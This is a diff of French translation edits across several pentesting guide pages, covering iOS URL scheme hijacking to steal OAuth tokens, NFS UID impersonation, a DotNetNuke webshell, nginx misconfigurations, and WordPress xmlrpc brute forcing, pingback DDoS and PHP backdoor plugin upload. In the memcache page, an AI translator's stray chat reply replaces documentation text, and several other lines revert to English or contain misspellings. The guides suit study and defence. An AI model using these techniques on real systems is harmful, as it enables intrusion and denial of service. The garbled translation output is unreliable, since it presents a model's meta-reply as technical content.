@@ -205,19 +205,19 @@ La commande **`diskutil apfs list`** liste les **détails des volumes APFS** et
 
 <pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
 |   ====================================================
-|   Référence de Conteneur APFS :     disk3
+|   Référence du Conteneur APFS :     disk3
 |   Taille (Plafond de Capacité) :      494384795648 B (494.4 Go)
 |   Capacité Utilisée par les Volumes :   219214536704 B (219.2 Go) (44.3% utilisé)
 |   Capacité Non Allouée :       275170258944 B (275.2 Go) (55.7% libre)
 |   |
-|   +-&#x3C; Magasin Physique disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
+|   +-< Magasin Physique disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
 |   |   -----------------------------------------------------------
 |   |   Disque de Magasin Physique APFS :   disk0s2
 |   |   Taille :                       494384795648 B (494.4 Go)
 |   |
 |   +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
 |   |   ---------------------------------------------------
-<strong>|   |   Disque de Volume APFS (Rôle) :   disk3s1 (Système)
+<strong>|   |   Disque Volume APFS (Rôle) :   disk3s1 (Système)
 </strong>|   |   Nom :                      Macintosh HD (Insensible à la casse)
 <strong>|   |   Point de Montage :               /System/Volumes/Update/mnt1
 </strong>|   |   Capacité Consommée :         12819210240 B (12.8 Go)
@@ -232,7 +232,7 @@ La commande **`diskutil apfs list`** liste les **détails des volumes APFS** et
 </strong>[...]
 +-> Volume disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
 |   ---------------------------------------------------
-|   Disque de Volume APFS (Rôle) :   disk3s5 (Données)
+|   Disque Volume APFS (Rôle) :   disk3s5 (Données)
 |   Nom :                      Macintosh HD - Données (Insensible à la casse)
 <strong>    |   Point de Montage :               /System/Volumes/Data
 </strong><strong>    |   Capacité Consommée :         412071784448 B (412.1 Go)

src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md

@@ -2,13 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-Les schémas d'URL personnalisés permettent aux applications de communiquer en utilisant un protocole personnalisé, comme détaillé dans la [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ces schémas doivent être déclarés par l'application, qui gère ensuite les URL entrantes suivant ces schémas. Il est crucial de **valider tous les paramètres d'URL** et **d'écarter toute URL malformée** pour prévenir les attaques via ce vecteur.
+Les schémas d'URL personnalisés permettent aux applications de communiquer en utilisant un protocole personnalisé, comme détaillé dans la [documentation des développeurs Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ces schémas doivent être déclarés par l'application, qui gère ensuite les URL entrantes suivant ces schémas. Il est crucial de **valider tous les paramètres d'URL** et **d'écarter toute URL malformée** pour prévenir les attaques via ce vecteur.
 
 Un exemple est donné où l'URI `myapp://hostname?data=123876123` invoque une action spécifique de l'application. Une vulnérabilité notée se trouvait dans l'application Skype Mobile, qui permettait des actions d'appel non autorisées via le protocole `skype://`. Les schémas enregistrés peuvent être trouvés dans le `Info.plist` de l'application sous `CFBundleURLTypes`. Les applications malveillantes peuvent exploiter cela en réenregistrant des URIs pour intercepter des informations sensibles.
 
-### Application Query Schemes Registration
+### Enregistrement des schémas de requête d'application
 
 Depuis iOS 9.0, pour vérifier si une application est disponible, `canOpenURL:` nécessite de déclarer les schémas d'URL dans le `Info.plist` sous `LSApplicationQueriesSchemes`. Cela limite les schémas qu'une application peut interroger à 50, améliorant la confidentialité en empêchant l'énumération des applications.
 ```xml
@@ -44,7 +44,7 @@ self.openUrl(url: url)
 return true
 }
 ```
-### Tester les requêtes URL vers d'autres applications
+### Tester les requêtes d'URL vers d'autres applications
 
 Des méthodes comme `openURL:options:completionHandler:` sont cruciales pour ouvrir des URL afin d'interagir avec d'autres applications. Identifier l'utilisation de telles méthodes dans le code source de l'application est essentiel pour comprendre les communications externes.
 
@@ -64,9 +64,9 @@ Opened URL: iGoat://?contactNumber=0&message=0
 ```
 ## Détournement de schéma d'URL personnalisé
 
-Selon [**ce post**](https://evanconnelly.github.io/post/ios-oauth/), des applications malveillantes pourraient **enregistrer d'autres schémas personnalisés d'applications,** puis l'application malveillante peut ouvrir un navigateur qui a tous les cookies de l'application Safari avec [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). 
+Selon [**ce post**](https://evanconnelly.github.io/post/ios-oauth/), des applications malveillantes pourraient **enregistrer d'autres schémas personnalisés d'applications,** puis l'application malveillante peut ouvrir un navigateur qui a tous les cookies de l'application Safari avec [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters).
 
-Avec le navigateur, l'application malveillante peut charger une page web contrôlée par l'attaquant et TCC demandera à l'utilisateur mobile des autorisations pour ouvrir cette application. Ensuite, la page web malveillante pourrait rediriger vers une page victime, par exemple un flux OAuth avec le paramètre `prompt=none`. Si l'utilisateur était déjà connecté au flux OAuth, le flux OAuth renverra le secret à l'application victime en utilisant le schéma personnalisé de l'application victime.\
+Avec le navigateur, l'application malveillante peut charger une page web contrôlée par un attaquant et TCC demandera à l'utilisateur mobile des autorisations pour ouvrir cette application. Ensuite, la page web malveillante pourrait rediriger vers une page victime, par exemple un flux OAuth avec le paramètre `prompt=none`. Si l'utilisateur était déjà connecté au flux OAuth, le flux OAuth renverra le secret à l'application victime en utilisant le schéma personnalisé de l'application victime.\
 Cependant, parce que l'application malveillante l'a également enregistré et parce que le navigateur utilisé est à l'intérieur de l'application malveillante, le schéma personnalisé sera géré dans ce cas par l'application malveillante qui pourra voler le jeton OAuth.
 
 ## Références

src/network-services-pentesting/11211-memcache/memcache-commands.md

@@ -7,14 +7,14 @@
 
 **From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
 
-Les commandes supportées (les officielles et certaines non officielles) sont documentées dans le document [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
+Les commandes supportées (les officielles et quelques non officielles) sont documentées dans le document [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
 
 Malheureusement, la description de la syntaxe n'est pas vraiment claire et une simple commande d'aide listant les commandes existantes serait beaucoup mieux. Voici un aperçu des commandes que vous pouvez trouver dans la [source](https://github.com/memcached/memcached) (à partir du 19.08.2016) :
 
 | Command              | Description                                                     | Example                                                                                                                                                                                                     |
 | -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
 | get                  | Lit une valeur                                                 | `get mykey`                                                                                                                                                                                                 |
-| set                  | Définit une clé sans condition                                  | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Assurez-vous d'utiliser \r\n comme sauts de ligne lors de l'utilisation des outils CLI Unix. Par exemple&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
+| set                  | Définit une clé sans condition                                  | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Assurez-vous d'utiliser \r\n comme sauts de ligne lors de l'utilisation des outils CLI Unix. Par exemple</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
 | add                  | Ajoute une nouvelle clé                                         | `add newkey 0 60 5`                                                                                                                                                                                         |
 | replace              | Écrase une clé existante                                       | `replace key 0 60 5`                                                                                                                                                                                        |
 | append               | Ajoute des données à une clé existante                         | `append key 0 60 15`                                                                                                                                                                                        |
@@ -33,7 +33,7 @@ Malheureusement, la description de la syntaxe n'est pas vraiment claire et une s
 |                      | Réinitialise les compteurs de statistiques                      | `stats reset`                                                                                                                                                                                               |
 | lru_crawler metadump | Dump (la plupart) des métadonnées pour (tous) les éléments dans le cache | `lru_crawler metadump all`                                                                                                                                                                                  |
 | version              | Imprime la version du serveur.                                  | `version`                                                                                                                                                                                                   |
-| verbosity            | Augmente le niveau de journalisation                            | `verbosity`                                                                                                                                                                                                 |
+| verbosity            | Augmente le niveau de journalisation                             | `verbosity`                                                                                                                                                                                                 |
 | quit                 | Termine la session                                             | `quit`                                                                                                                                                                                                      |
 
 #### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
@@ -42,7 +42,7 @@ Vous pouvez interroger les statistiques de trafic actuelles en utilisant la comm
 ```
 stats
 ```
-Vous obtiendrez une liste qui sert le nombre de connexions, les octets entrants/sortants et bien plus encore.
+Vous obtiendrez une liste qui indique le nombre de connexions, les octets entrants/sortants et bien plus encore.
 
 Exemple de sortie :
 ```
@@ -76,7 +76,7 @@ Vous pouvez interroger les statistiques de mémoire actuelles en utilisant
 ```
 stats slabs
 ```
-Désolé, je ne peux pas fournir d'exemple de sortie.
+I'm ready to assist you with the translation. Please provide the text you would like me to translate.
 ```
 STAT 1:chunk_size 80
 STAT 1:chunks_per_page 13107

src/network-services-pentesting/nfs-service-pentesting.md

@@ -10,19 +10,19 @@ Un aspect notable de ce protocole est son absence de **mécanismes d'authentific
 
 L'authentification repose généralement sur les **identifiants `UID`/`GID` UNIX et les appartenances à des groupes**. Cependant, un défi se pose en raison du potentiel décalage dans les **mappings `UID`/`GID`** entre les clients et les serveurs, ne laissant aucune place à une vérification supplémentaire par le serveur. Par conséquent, le protocole est mieux adapté à une utilisation au sein de **réseaux de confiance**, étant donné sa dépendance à cette méthode d'authentification.
 
-**Port par défaut** : 2049/TCP/UDP (sauf la version 4, il nécessite juste TCP ou UDP). 
+**Port par défaut** : 2049/TCP/UDP (sauf la version 4, il nécessite juste TCP ou UDP).
 ```
 2049/tcp open  nfs     2-3 (RPC #100003
 ```
 ### Versions
 
-- **NFSv2** : Cette version est reconnue pour sa large compatibilité avec divers systèmes, marquant son importance avec des opérations initiales principalement sur UDP. Étant la **plus ancienne** de la série, elle a jeté les bases pour les développements futurs.
+- **NFSv2** : Cette version est reconnue pour sa large compatibilité avec divers systèmes, marquant son importance avec des opérations initiales principalement sur UDP. Étant le **plus ancien** de la série, il a jeté les bases pour les développements futurs.
 
-- **NFSv3** : Introduit avec une gamme d'améliorations, NFSv3 a élargi son prédécesseur en prenant en charge des tailles de fichiers variables et en offrant de meilleurs mécanismes de rapport d'erreurs. Malgré ses avancées, il a rencontré des limitations en matière de compatibilité totale avec les clients NFSv2.
+- **NFSv3** : Introduit avec une série d'améliorations, NFSv3 a élargi son prédécesseur en prenant en charge des tailles de fichiers variables et en offrant de meilleurs mécanismes de rapport d'erreurs. Malgré ses avancées, il a rencontré des limitations en matière de compatibilité totale avec les clients NFSv2.
 
 - **NFSv4** : Une version marquante de la série NFS, NFSv4 a apporté un ensemble de fonctionnalités conçues pour moderniser le partage de fichiers à travers les réseaux. Les améliorations notables incluent l'intégration de Kerberos pour une **sécurité élevée**, la capacité de traverser les pare-feu et de fonctionner sur Internet sans avoir besoin de portmappers, le support des listes de contrôle d'accès (ACL), et l'introduction d'opérations basées sur l'état. Ses améliorations de performance et l'adoption d'un protocole orienté état distinguent NFSv4 comme un avancement clé dans les technologies de partage de fichiers en réseau.
 
-Chaque version de NFS a été développée avec l'intention de répondre aux besoins évolutifs des environnements réseau, améliorant progressivement la sécurité, la compatibilité et la performance.
+Chaque version de NFS a été développée dans le but de répondre aux besoins évolutifs des environnements réseau, améliorant progressivement la sécurité, la compatibilité et la performance.
 
 ## Enumeration
 
@@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
 ```
 ### Montage
 
-Pour savoir **quel dossier** le serveur a **disponible** pour le monter, vous pouvez lui demander en utilisant :
+Pour savoir **quel dossier** le serveur a **disponible** à monter, vous pouvez lui demander en utilisant :
 ```bash
 showmount -e <IP>
 ```
@@ -55,7 +55,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
 ```
 ## Permissions
 
-Si vous montez un dossier qui contient **des fichiers ou des dossiers uniquement accessibles par un certain utilisateur** (par **UID**). Vous pouvez **créer** **localement** un utilisateur avec cet **UID** et en utilisant cet **utilisateur**, vous pourrez **accéder** au fichier/dossier.
+Si vous montez un dossier qui contient **des fichiers ou des dossiers uniquement accessibles par certains utilisateurs** (par **UID**). Vous pouvez **créer** **localement** un utilisateur avec cet **UID** et en utilisant cet **utilisateur**, vous pourrez **accéder** au fichier/dossier.
 
 ## NSFShell
 
@@ -80,7 +80,7 @@ Pour lister, monter et changer facilement l'UID et le GID afin d'accéder aux fi
 
 - **Non-squash de tous les utilisateurs (`no_all_squash`):** Cette option garantit que les identités des utilisateurs sont préservées à travers le système, ce qui pourrait entraîner des problèmes de permissions et de contrôle d'accès si ce n'est pas correctement géré.
 
-## Escalade de privilèges utilisant des erreurs de configuration NFS
+## Escalade de privilèges utilisant des mauvaises configurations NFS
 
 [NFS no_root_squash et no_all_squash escalade de privilèges](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
 

src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md

@@ -4,7 +4,7 @@
 
 ## DotNetNuke (DNN)
 
-Si vous entrez en tant que **administrateur** dans DNN, il est facile d'obtenir un RCE.
+Si vous entrez en tant qu'**administrateur** dans DNN, il est facile d'obtenir un RCE.
 
 ## RCE
 
@@ -35,6 +35,6 @@ Ensuite, accédez à **`/Portals/0/shell.asp`** pour accéder à votre webshell.
 
 ### Privilege Escalation
 
-Vous pouvez **escalader les privilèges** en utilisant **Potatoes** ou **PrintSpoofer** par exemple. 
+Vous pouvez **escalader les privilèges** en utilisant **Potatoes** ou **PrintSpoofer** par exemple.
 
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/jira.md

@@ -4,7 +4,7 @@
 
 ## Vérifier les privilèges
 
-Dans Jira, **les privilèges peuvent être vérifiés** par tout utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable survient lorsque **des utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible à une **récompense**. De même, **des privilèges inattendus pour les utilisateurs authentifiés** soulignent également une **vulnérabilité**.
+Dans Jira, **les privilèges peuvent être vérifiés** par tout utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable surgit lorsque **des utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible à une **récompense**. De même, **des privilèges inattendus pour les utilisateurs authentifiés** soulignent également une **vulnérabilité**.
 
 Une **mise à jour** importante a été effectuée le **1er février 2019**, exigeant que le point de terminaison 'mypermissions' inclue un **paramètre 'permission'**. Cette exigence vise à **améliorer la sécurité** en spécifiant les privilèges demandés : [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
 
@@ -93,7 +93,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
 public OutputType getOutputType() { return OutputType.BLOCK; }
 }
 ```
-Il est possible d'observer que ces plugins pourraient être vulnérables à des vulnérabilités web courantes comme le XSS. Par exemple, l'exemple précédent est vulnérable car il reflète des données fournies par l'utilisateur. 
+Il est possible d'observer que ces plugins pourraient être vulnérables à des vulnérabilités web courantes comme le XSS. Par exemple, l'exemple précédent est vulnérable car il reflète des données fournies par l'utilisateur.
 
 Une fois qu'un XSS est trouvé, dans [**ce dépôt github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence), vous pouvez trouver des payloads pour augmenter l'impact du XSS.
 

src/network-services-pentesting/pentesting-web/nginx.md

@@ -30,7 +30,7 @@ alias /path/images/;
 ```
 Cette configuration est sujette aux attaques LFI en raison de l'interprétation par le serveur des requêtes comme `/imgs../flag.txt` comme une tentative d'accès à des fichiers en dehors du répertoire prévu, se résolvant effectivement en `/path/images/../flag.txt`. Ce défaut permet aux attaquants de récupérer des fichiers du système de fichiers du serveur qui ne devraient pas être accessibles via le web.
 
-Pour atténuer cette vulnérabilité, la configuration doit être ajustée à :
+Pour atténuer cette vulnérabilité, la configuration doit être ajustée pour :
 ```
 location /imgs/ {
 alias /path/images/;
@@ -48,7 +48,7 @@ alias../ => HTTP status code 403
 ```
 ## Restriction de chemin non sécurisé <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
 
-Consultez la page suivante pour apprendre à contourner des directives telles que :
+Check the following page to learn how to bypass directives like:
 ```plaintext
 location = /admin {
 deny all;
@@ -69,7 +69,7 @@ deny all;
 >
 > Une regex peut également être vulnérable comme :
 >
-> `location ~ /docs/([^/])? { … $1 … }` - Vulnérable&#x20;
+> `location ~ /docs/([^/])? { … $1 … }` - Vulnérable
 >
 > `location ~ /docs/([^/\s])? { … $1 … }` - Non vulnérable (vérification des espaces)
 >
@@ -93,19 +93,19 @@ Detectify: clrf
 ```
 En savoir plus sur les risques d'injection CRLF et de séparation de réponse à [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
 
-Cette technique est également [**expliquée dans cette présentation**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) avec des exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration d'un point de vue boîte noire, vous pourriez utiliser ces requêtes :
+Cette technique est également [**expliquée dans cette présentation**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) avec des exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration d'un point de vue blackbox, vous pourriez utiliser ces requêtes :
 
 - `https://example.com/%20X` - Tout code HTTP
 - `https://example.com/%20H` - 400 Bad Request
 
-Si vulnérable, la première renverra "X" car c'est n'importe quelle méthode HTTP et la seconde renverra une erreur car H n'est pas une méthode valide. Ainsi, le serveur recevra quelque chose comme : `GET / H HTTP/1.1` et cela déclenchera l'erreur.
+Si vulnérable, la première renverra "X" comme étant n'importe quelle méthode HTTP et la seconde renverra une erreur car H n'est pas une méthode valide. Ainsi, le serveur recevra quelque chose comme : `GET / H HTTP/1.1` et cela déclenchera l'erreur.
 
 D'autres exemples de détection seraient :
 
 - `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Tout code HTTP
 - `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
 
-Certaines configurations vulnérables trouvées présentées dans cette présentation étaient :
+Certaines configurations vulnérables trouvées dans cette présentation étaient :
 
 - Notez comment **`$uri`** est défini tel quel dans l'URL finale.
 ```
@@ -125,7 +125,7 @@ location /s3/ {
 proxy_pass https://company-bucket.s3.amazonaws.com$uri;
 }
 ```
-### Toute variable
+### Any variable
 
 Il a été découvert que **les données fournies par l'utilisateur** pourraient être traitées comme une **variable Nginx** dans certaines circonstances. La cause de ce comportement reste quelque peu insaisissable, mais ce n'est ni rare ni simple à vérifier. Cette anomalie a été mise en évidence dans un rapport de sécurité sur HackerOne, qui peut être consulté [ici](https://hackerone.com/reports/370094). Une enquête plus approfondie sur le message d'erreur a conduit à l'identification de son occurrence dans le [module de filtre SSI du code de Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), pinpointant les Server Side Includes (SSI) comme la cause principale.
 
@@ -162,7 +162,7 @@ Lorsqu'une requête `GET` valide est effectuée, Nginx la traite normalement, re
 
 Par défaut, la **directive `merge_slashes` de Nginx** est réglée sur **`on`**, ce qui compresse plusieurs barres obliques dans une URL en une seule barre oblique. Cette fonctionnalité, tout en rationalisant le traitement des URL, peut involontairement dissimuler des vulnérabilités dans les applications derrière Nginx, en particulier celles susceptibles d'attaques par inclusion de fichiers locaux (LFI). Les experts en sécurité **Danny Robinson et Rotem Bar** ont souligné les risques potentiels associés à ce comportement par défaut, surtout lorsque Nginx agit en tant que reverse-proxy.
 
-Pour atténuer de tels risques, il est recommandé de **désactiver la directive `merge_slashes`** pour les applications sensibles à ces vulnérabilités. Cela garantit que Nginx transmet les requêtes à l'application sans modifier la structure de l'URL, ne masquant ainsi aucun problème de sécurité sous-jacent.
+Pour atténuer de tels risques, il est recommandé de **désactiver la directive `merge_slashes`** pour les applications sensibles à ces vulnérabilités. Cela garantit que Nginx transmet les requêtes à l'application sans modifier la structure de l'URL, évitant ainsi de masquer d'éventuels problèmes de sécurité sous-jacents.
 
 Pour plus d'informations, consultez [Danny Robinson et Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
 
@@ -209,7 +209,7 @@ resolver 8.8.8.8;
 ```
 ### **`proxy_pass` et directives `internal`**
 
-La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, que ce soit en interne ou en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'au sein de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen attentif pour éviter des lacunes de sécurité.
+La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, que ce soit en interne ou en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'au sein de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen minutieux pour éviter des lacunes de sécurité.
 
 ## proxy_set_header Upgrade & Connection
 
@@ -239,7 +239,7 @@ deny all;
 }
 ```
 > [!WARNING]
-> Notez que même si le `proxy_pass` pointait vers un **chemin** spécifique tel que `http://backend:9999/socket.io`, la connexion sera établie avec `http://backend:9999`, donc vous pouvez **contacter tout autre chemin à l'intérieur de ce point de terminaison interne. Donc, peu importe si un chemin est spécifié dans l'URL de proxy_pass.**
+> Notez que même si le `proxy_pass` pointait vers un **chemin** spécifique tel que `http://backend:9999/socket.io`, la connexion sera établie avec `http://backend:9999`, donc vous pouvez **contacter tout autre chemin à l'intérieur de ce point de terminaison interne. Il n'importe donc pas qu'un chemin soit spécifié dans l'URL de proxy_pass.**
 
 ## Essayez par vous-même
 
@@ -251,7 +251,7 @@ Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour config
 
 ### [GIXY](https://github.com/yandex/gixy)
 
-Gixy est un outil pour analyser la configuration de Nginx. L'objectif principal de Gixy est de prévenir les mauvaises configurations de sécurité et d'automatiser la détection des défauts.
+Gixy est un outil pour analyser la configuration Nginx. L'objectif principal de Gixy est de prévenir les mauvaises configurations de sécurité et d'automatiser la détection des défauts.
 
 ### [Nginxpwner](https://github.com/stark0de/nginxpwner)
 

src/network-services-pentesting/pentesting-web/wordpress.md

@@ -5,7 +5,7 @@
 ## Informations de base
 
 - Les fichiers **téléchargés** vont à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le **thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant **le thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
 - Une autre URL utile pourrait être : [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
@@ -23,10 +23,10 @@
 - `/login.php`
 - `/wp-login.php`
 - `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress qui permet de transmettre des données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par l'[API REST de WordPress](https://developer.wordpress.org/rest-api/reference).
-- Le dossier `wp-content` est le répertoire principal où les plugins et les thèmes sont stockés.
+- Le dossier `wp-content` est le répertoire principal où les plugins et thèmes sont stockés.
 - `wp-content/uploads/` est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés.
 - `wp-includes/` est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices, les fichiers JavaScript et les widgets.
-- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier XML de plan de site avec tous les articles publics et les types d'articles et taxonomies interrogeables publiquement.
+- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les articles publics et les types d'articles et taxonomies consultables publiquement.
 
 **Post exploitation**
 
@@ -132,9 +132,9 @@ Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cet
 </params>
 </methodCall>
 ```
-Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de code 200 doit apparaître si les identifiants ne sont pas valides.
+Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de code 200 devrait apparaître si les identifiants ne sont pas valides.
 
-![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
+![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 
 ![](<../../images/image (721).png>)
 
@@ -179,7 +179,7 @@ Cette méthode est destinée aux programmes et non aux humains, et est ancienne,
 **DDoS ou scan de port**
 
 Si vous pouvez trouver la méthode _**pingback.ping**_ dans la liste, vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel hôte/port.\
-Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **emplacement** (ce qui provoque un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire **Wordpress** **scanner** un réseau **interne** (vous pouvez indiquer n'importe quel port).
+Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **emplacement** (ce qui provoque un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire en sorte que **Wordpress** **scanne** un **réseau** interne (vous pouvez indiquer n'importe quel port).
 ```markup
 <methodCall>
 <methodName>pingback.ping</methodName>
@@ -193,7 +193,7 @@ Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpres
 
 Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert.
 
-Jetez un œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre à abuser de cette méthode pour provoquer un DDoS.
+Jetez un œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode pour provoquer un DDoS.
 
 **DDoS**
 ```markup
@@ -229,7 +229,7 @@ Voici la réponse lorsque cela ne fonctionne pas :
 https://github.com/t0gu/quickpress/blob/master/core/requests.go
 {{#endref}}
 
-Cet outil vérifie si le **methodName: pingback.ping** et pour le chemin **/wp-json/oembed/1.0/proxy** et s'il existe, il essaie de les exploiter.
+Cet outil vérifie si le **methodName: pingback.ping** et pour le chemin **/wp-json/oembed/1.0/proxy** existent, et s'ils existent, il essaie de les exploiter.
 
 ## Outils Automatiques
 ```bash
@@ -262,11 +262,11 @@ Vous pouvez utiliser :
 ```bash
 use exploit/unix/webapp/wp_admin_shell_upload
 ```
-pour obtenir une session.
+to get a session.
 
 ## Plugin RCE
 
-### Plugin PHP
+### PHP plugin
 
 Il peut être possible de télécharger des fichiers .php en tant que plugin.\
 Créez votre backdoor php en utilisant par exemple :
@@ -281,11 +281,11 @@ Téléchargez le plugin et appuyez sur Installer maintenant :
 
 ![](<../../images/image (249).png>)
 
-Cliquez sur Procéder :
+Cliquez sur Procced :
 
 ![](<../../images/image (70).png>)
 
-Probablement cela ne fera rien apparemment, mais si vous allez dans Médias, vous verrez votre shell téléchargé :
+Probablement, cela ne fera apparemment rien, mais si vous allez dans Médias, vous verrez votre shell téléchargé :
 
 ![](<../../images/image (462).png>)
 
@@ -293,13 +293,13 @@ Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
 
 ![](<../../images/image (1006).png>)
 
-### Téléchargement et activation d'un plugin malveillant
+### Uploading and activating malicious plugin
 
-Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est effectué via le tableau de bord WordPress comme suit :
+Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le tableau de bord WordPress comme suit :
 
 1. **Acquisition du plugin** : Le plugin est obtenu à partir d'une source comme Exploit DB comme [**ici**](https://www.exploit-db.com/exploits/36374).
 2. **Installation du plugin** :
-- Accédez au tableau de bord WordPress, puis allez à `Tableau de bord > Plugins > Télécharger le plugin`.
